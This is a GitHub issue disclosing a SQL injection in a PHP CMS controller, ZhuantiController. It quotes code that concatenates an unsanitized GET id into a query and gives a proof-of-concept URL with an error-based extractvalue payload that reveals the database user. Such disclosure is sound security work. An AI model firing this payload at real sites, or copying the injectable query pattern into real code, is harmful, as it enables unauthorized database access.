

New issue

[Jump to bottom](#)

\App\Manage\Controller\ZhuantiController.class.php has SQLinject #11

Open maoqingya opened this issue on Feb 27 · 0 comments

maoqingya commented on Feb 27

\App\Manage\Controller\ZhuantiController.class.php

line: 18 - 21

```
public function index() {
```

```
//查询指定id的栏目信息
```

```
$id=I('get.id');//类别ID
```

```
$topnav=M('Adnav')->where("id=$id")->select();
```

POC:

```
http://127.0.0.1/index.php/Advert/Index/Zhuanti?id=1%20and%20(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

